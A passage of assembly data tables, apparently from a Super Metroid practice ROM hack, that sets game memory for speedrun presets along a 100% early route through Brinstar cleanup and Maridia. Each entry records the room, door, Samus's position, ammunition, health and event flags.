Screen X position in pixels dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $028D ; Health dl $7E09C4 : db $02 : dw $02BB ; Max helath dl $7E09CA : db $02 : dw $000C ; Supers dl $7E09CE : db $02 : dw $0007 ; Pbs dl $7E0AF6 : db $02 : dw $0049 ; Samus X dl $7ED870 : db $02 : dw $81BF ; Events, Items, Doors dl $7ED91A : db $02 : dw $004D ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_green_brinstar_elevator: dw #preset_100early_brinstar_cleanup_leaving_gauntlet ; Brinstar Cleanup: Leaving Gauntlet dl $7E078D : db $02 : dw $8C22 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9938 ; MDB dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $A7FF ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $0051 ; Missiles dl $7E09C8 : db $02 : dw $0069 ; Max missiles dl $7E0AF6 : db $02 : dw $0082 ; Samus X dl $7ED870 : db $02 : dw $87BF ; Events, Items, Doors dl $7ED91A : db $02 : dw $004F ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_green_brinstar_beetoms: dw #preset_100early_brinstar_cleanup_green_brinstar_elevator ; Brinstar Cleanup: Green Brinstar Elevator dl $7E078D : db $02 : dw $8C0A ; DDB dl $7E078F : db $02 : dw $0009 ; DoorOut Index dl $7E079B : db $02 : dw $9AD9 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers dl $7E07F3 : db $02 : dw $000F ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $3000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0A1D ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0006 ; Pbs dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $0A8B ; Samus Y dl $7ED91A : db $02 : dw $0050 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_etecoon_etank_room: dw #preset_100early_brinstar_cleanup_green_brinstar_beetoms ; Brinstar Cleanup: Green Brinstar Beetoms dl $7E078D : db $02 : dw $8CBE ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9FE5 ; MDB dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0287 ; Health dl $7E09C6 : db $02 : dw $0050 ; Missiles dl $7E09CE : db $02 : dw $0009 ; Pbs dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_brinstar_cleanup_etecoon_room: dw #preset_100early_brinstar_cleanup_etecoon_etank_room ; Brinstar Cleanup: Etecoon E-Tank Room dl $7E078D : db $02 : dw $8F5E ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A011 ; MDB dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $030F ; Health dl $7E09C4 : db $02 : dw $031F ; Max helath dl $7E09C6 : db $02 : dw $004F ; Missiles dl $7E09CA : db $02 : dw $0010 ; Supers dl $7E09CC : db $02 : dw $0014 ; Max supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $04D0 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED872 : db $02 : dw $C48F ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $E818 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0053 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_dachora_room_revisit: dw #preset_100early_brinstar_cleanup_etecoon_room ; Brinstar Cleanup: Etecoon Room dl $7E078D : db $02 : dw $8F46 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9AD9 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $7800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0700 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $000E ; Pbs dl $7E09D0 : db $02 : dw $0019 ; Max pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $014C ; Samus X dl $7E0AFA : db $02 : dw $078B ; Samus Y dl $7ED870 : db $02 : dw $A7BF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0054 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_big_pink_revisit: dw #preset_100early_brinstar_cleanup_dachora_room_revisit ; Brinstar Cleanup: Dachora Room Revisit dl $7E078D : db $02 : dw $8CE2 ; DDB dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E079B : db $02 : dw $9CB3 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0407 ; Screen X position in pixels dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $000D ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $04E3 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED91A : db $02 : dw $0055 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_big_pink_power_bombs: dw #preset_100early_brinstar_cleanup_big_pink_revisit ; Brinstar Cleanup: Big Pink Revisit dl $7E078D : db $02 : dw $8DAE ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9D19 ; MDB dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $020B ; Screen X position in pixels dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0315 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $030A ; Health dl $7E09C6 : db $02 : dw $0054 ; Missiles dl $7E09C8 : db $02 : dw $006E ; Max missiles dl $7E09CE : db $02 : dw $000C ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $026B ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED872 : db $02 : dw $C4AF ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0346 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0058 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_big_pink_hopper_room: dw #preset_100early_brinstar_cleanup_big_pink_power_bombs ; Brinstar Cleanup: Big Pink Power Bombs dl $7E078D : db $02 : dw $8E62 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0430 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $02FB ; Health dl $7E09C6 : db $02 : dw $0051 ; Missiles dl $7E09CA : db $02 : dw $000F ; Supers dl $7E09CE : db $02 : dw $0011 ; Pbs dl $7E09D0 : db $02 : dw $001E ; Max pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AFA : db $02 : dw $049B ; Samus Y dl $7ED872 : db $02 : dw $C5AF ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $8346 ; Events, Items, Doors dl $7ED91A : db $02 : dw $005C ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_spore_spawn_supers: dw #preset_100early_brinstar_cleanup_big_pink_hopper_room ; Brinstar Cleanup: Big Pink Hopper Room dl $7E078D : db $02 : dw $8FCA ; DDB dl $7E079B : db $02 : dw $A130 ; MDB dl $7E090F : db $02 : dw $A001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0383 ; Health dl $7E09C4 : db $02 : dw $0383 ; Max helath dl $7E09C6 : db $02 : dw $004C ; Missiles dl $7E0A1C : db $02 : dw $008A ; Samus position/state dl $7E0A1E : db $02 : dw $1504 ; More position/state dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $01BB ; Samus Y dl $7ED874 : db $02 : dw $0F8C ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $E8D8 ; Events, Items, Doors dl $7ED91A : db $02 : dw $005D ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_waterway_etank: dw #preset_100early_brinstar_cleanup_spore_spawn_supers ; Brinstar Cleanup: Spore Spawn Supers dl $7E078D : db $02 : dw $8F82 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9D19 ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $091F ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0055 ; Missiles dl $7E09C8 : db $02 : dw $0073 ; Max missiles dl $7E09CA : db $02 : dw $0010 ; Supers dl $7E09CC : db $02 : dw $0019 ; Max supers dl $7E09CE : db $02 : dw $000E ; Pbs dl $7E0A1C : db $02 : dw $0028 ; Samus position/state dl $7E0A1E : db $02 : dw $0504 ; More position/state dl $7E0AF6 : db $02 : dw $0065 ; Samus X dl $7E0AFA : db $02 : dw $0990 ; Samus Y dl $7ED870 : db $02 : dw $E7BF ; Events, Items, Doors dl $7ED872 : db $02 : dw $C5EF ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $8B46 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $E8F8 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0064 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_green_hills_revisit: dw #preset_100early_brinstar_cleanup_waterway_etank ; Brinstar Cleanup: Waterway E-Tank dl $7E078D : db $02 : dw $8F8E ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $02ED ; Screen X position in pixels dl $7E0915 : db $02 : dw $061E ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03E7 ; Health dl $7E09C4 : db $02 : dw $03E7 ; Max helath dl $7E09C6 : db $02 : dw $0057 ; Missiles dl $7E09D6 : db $02 : dw $0096 ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $034D ; Samus X dl $7E0AFA : db $02 : dw $068B ; Samus Y dl $7ED874 : db $02 : dw $0F8E ; Events, Items, Doors dl $7ED91A : db $02 : dw $0068 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_blockbuster: dw #preset_100early_brinstar_cleanup_green_hills_revisit ; Brinstar Cleanup: Green Hills Revisit dl $7E078D : db $02 : dw $8DEA ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $9E52 ; MDB dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0700 ; Screen X position in pixels dl $7E0913 : db $02 : dw $F800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $005C ; Missiles dl $7E09C8 : db $02 : dw $0078 ; Max missiles dl $7E09CE : db $02 : dw $000D ; Pbs dl $7E0AF6 : db $02 : dw $07B4 ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED872 : db $02 : dw $C7EF ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $E8F9 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0069 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_main_street: dw #preset_100early_brinstar_cleanup_blockbuster ; Brinstar Cleanup: Blockbuster dl $7E078D : db $02 : dw $A360 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $CEFB ; MDB dl $7E079F : db $02 : dw $0004 ; Region dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2C01 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03E5 ; Health dl $7E09CA : db $02 : dw $0011 ; Supers dl $7E09CE : db $02 : dw $000C ; Pbs dl $7E0AF6 : db $02 : dw $0044 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED820 : db $02 : dw $0801 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_fish_tank: dw #preset_100early_maridia_predraygon_main_street ; Maridia Pre-Draygon: Main Street dl $7E078D : db $02 : dw $A330 ; DDB dl $7E079B : db $02 : dw $CFC9 ; MDB dl $7E07F3 : db $02 : dw $001B ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0109 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0619 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $039F ; Health dl $7E09C6 : db $02 : dw $0061 ; Missiles dl $7E09C8 : db $02 : dw $007D ; Max missiles dl $7E09CA : db $02 : dw $0010 ; Supers dl $7E09D6 : db $02 : dw $00A8 ; Reserves dl $7E0AF6 : db $02 : dw $0169 ; Samus X dl $7E0AFA : db $02 : dw $068B ; Samus Y dl $7ED880 : db $02 : dw $01FF ; Events, Items, Doors dl $7ED91A : db $02 : dw $006B ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_mama_turtle_etank: dw #preset_100early_maridia_predraygon_fish_tank ; Maridia Pre-Draygon: Fish Tank dl $7E078D : db $02 : dw $A3B4 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $D017 ; MDB dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $01FD ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0350 ; Health dl $7E0AF6 : db $02 : dw $01E1 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dw #$FFFF .after preset_100early_maridia_predraygon_fish_tank_revisit: dw #preset_100early_maridia_predraygon_mama_turtle_etank ; Maridia Pre-Draygon: Mama Turtle E-Tank dl $7E078D : db $02 : dw $A3E4 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D055 ; MDB dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $00C0 ; Screen X position in pixels dl $7E0913 : db $02 : dw $F800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0309 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $044B ; Health dl $7E09C4 : db $02 : dw $044B ; Max helath dl $7E09C6 : db $02 : dw $0066 ; Missiles dl $7E09C8 : db $02 : dw $0082 ; Max missiles dl $7E09CA : db $02 : dw $000F ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0135 ; Samus X dl $7E0AFA : db $02 : dw $037B ; Samus Y dl $7ED880 : db $02 : dw $0DFF ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $4B7C ; Events, Items, Doors dl $7ED91A : db $02 : dw $006D ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_mt_everest: dw #preset_100early_maridia_predraygon_fish_tank_revisit ; Maridia Pre-Draygon: Fish Tank Revisit dl $7E078D : db $02 : dw $A3CC ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $D0B9 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0118 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $031F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03E5 ; Health dl $7E09CA : db $02 : dw $0014 ; Supers dl $7E09CC : db $02 : dw $001E ; Max supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0178 ; Samus X dl $7E0AFA : db $02 : dw $03BB ; Samus Y dl $7ED880 : db $02 : dw $0FFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $006F ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_beach_missiles: dw #preset_100early_maridia_predraygon_mt_everest ; Maridia Pre-Draygon: Mt Everest dl $7E078D : db $02 : dw $A468 ; DDB dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E079B : db $02 : dw $D1A3 ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03A9 ; Health dl $7E0AF6 : db $02 : dw $0078 ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dw #$FFFF .after preset_100early_maridia_predraygon_west_beach: dw #preset_100early_maridia_predraygon_beach_missiles ; Maridia Pre-Draygon: Beach Missiles dl $7E078D : db $02 : dw $A4BC ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D1DD ; MDB dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0915 : db $02 : dw $00F9 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $006B ; Missiles dl $7E09C8 : db $02 : dw $0087 ; Max missiles dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0069 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED880 : db $02 : dw $4FFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0070 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_watering_hole: dw #preset_100early_maridia_predraygon_west_beach ; Maridia Pre-Draygon: West Beach dl $7E078D : db $02 : dw $A4D4 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $D16D ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $6C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0017 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $006C ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_maridia_predraygon_west_beach_revisit: dw #preset_100early_maridia_predraygon_watering_hole ; Maridia Pre-Draygon: Watering Hole dl $7E078D : db $02 : dw $A498 ; DDB dl $7E079B : db $02 : dw $D13B ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $00FC ; Screen X position in pixels dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03AE ; Health dl $7E09C6 : db $02 : dw $006F ; Missiles dl $7E09C8 : db $02 : dw $008C ; Max missiles dl $7E09CA : db $02 : dw $0019 ; Supers dl $7E09CC : db $02 : dw $0023 ; Max supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $019C ; Samus X dl $7ED880 : db $02 : dw $7FFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0072 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_beach_missiles_revisit: dw #preset_100early_maridia_predraygon_west_beach_revisit ; Maridia Pre-Draygon: West Beach Revisit dl $7E078D : db $02 : dw $A48C ; DDB dl $7E079B : db $02 : dw $D16D ; MDB dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $039F ; Health dl $7E0AF6 : db $02 : dw $03A2 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dw #$FFFF .after preset_100early_maridia_predraygon_aqueduct: dw #preset_100early_maridia_predraygon_beach_missiles_revisit ; Maridia Pre-Draygon: Beach Missiles Revisit dl $7E078D : db $02 : dw $A4E0 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D1A3 ; MDB dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0018 ; Supers dl $7E0AF6 : db $02 : dw $01B0 ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED8C0 : db $02 : dw $CB7C ; Events, Items, Doors dl $7ED91A : db $02 : dw $0073 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_botwoon: dw #preset_100early_maridia_predraygon_aqueduct ; Maridia Pre-Draygon: Aqueduct dl $7E078D : db $02 : dw $A72C ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $D617 ; MDB dl $7E07C3 : db $02 : dw $E78D ; GFX Pointers dl $7E07C5 : db $02 : dw $2EBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B9 ; GFX Pointers dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $F800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0001 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $000B ; Pbs dl $7E0AF6 : db $02 : dw $03A8 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED91A : db $02 : dw $0075 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_full_halfie: dw #preset_100early_maridia_predraygon_botwoon ; Maridia Pre-Draygon: Botwoon dl $7E078D : db $02 : dw $A774 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D95E ; MDB dl $7E07F3 : db $02 : dw $002A ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $9FFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03DB ; Health dl $7E09C6 : db $02 : dw $0077 ; Missiles dl $7E09CA : db $02 : dw $0013 ; Supers dl $7E09CE : db $02 : dw $000C ; Pbs dl $7E0AF6 : db $02 : dw $01C4 ; Samus X dl $7ED82C : db $02 : dw $0002 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_draygon_missiles: dw #preset_100early_maridia_predraygon_full_halfie ; Maridia Pre-Draygon: Full Halfie dl $7E078D : db $02 : dw $A8E8 ; DDB dl $7E079B : db $02 : dw $D72A ; MDB dl $7E07F3 : db $02 : dw $001B ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $00FB ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $035C ; Health dl $7E09CA : db $02 : dw $0012 ; Supers dl $7E0AF6 : db $02 : dw $06BB ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED8C2 : db $02 : dw $0400 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0076 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_predraygon_draygon: dw #preset_100early_maridia_predraygon_draygon_missiles ; Maridia Pre-Draygon: Draygon Missiles dl $7E078D : db $02 : dw $A7F8 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $D78F ; MDB dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $C800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $007C ; Missiles dl $7E09C8 : db $02 : dw $0091 ; Max missiles dl $7E09CA : db $02 : dw $0011 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $004E ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED882 : db $02 : dw $0080 ; Events, Items, Doors dl $7ED8C2 : db $02 : dw $0C00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0077 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_return_halfie: dw #preset_100early_maridia_predraygon_draygon ; Maridia Pre-Draygon: Draygon dl $7E078D : db $02 : dw $A96C ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $7325 ; Equipped Items dl $7E09A4 : db $02 : dw $7325 ; Collected Items dl $7E09C2 : db $02 : dw $02CB ; Health dl $7E09C6 : db $02 : dw $007B ; Missiles dl $7E09CA : db $02 : dw $0015 ; Supers dl $7E09CE : db $02 : dw $000D ; Pbs dl $7E0A68 : db $02 : dw $0001 ; Flash suit dl $7E0AF6 : db $02 : dw $0040 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED82C : db $02 : dw $0003 ; Events, Items, Doors dl $7ED882 : db $02 : dw $0480 ; Events, Items, Doors dl $7ED8C2 : db $02 : dw $CC00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0079 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_reverse_botwoon_etank: dw #preset_100early_maridia_postdraygon_return_halfie ; Maridia Post-Draygon: Return Halfie dl $7E078D : db $02 : dw $A7E0 ; DDB dl $7E079B : db $02 : dw $D913 ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $2800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $025A ; Health dl $7E09C6 : db $02 : dw $0078 ; Missiles dl $7E0A68 : db $02 : dw $0000 ; Flash suit dl $7E0AF6 : db $02 : dw $00A9 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dw #$FFFF .after preset_100early_maridia_postdraygon_east_sand_pit: dw #preset_100early_maridia_postdraygon_reverse_botwoon_etank ; Maridia Post-Draygon: Reverse Botwoon E-Tank dl $7E078D : db $02 : dw $A7D4 ; DDB dl $7E079B : db $02 : dw $D5A7 ; MDB dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0258 ; Health dl $7E0AF6 : db $02 : dw $05BB ; Samus X dl $7E0AFA : db $02 : dw $02CB ; Samus Y dl $7ED91A : db $02 : dw $007C ; Events, Items, 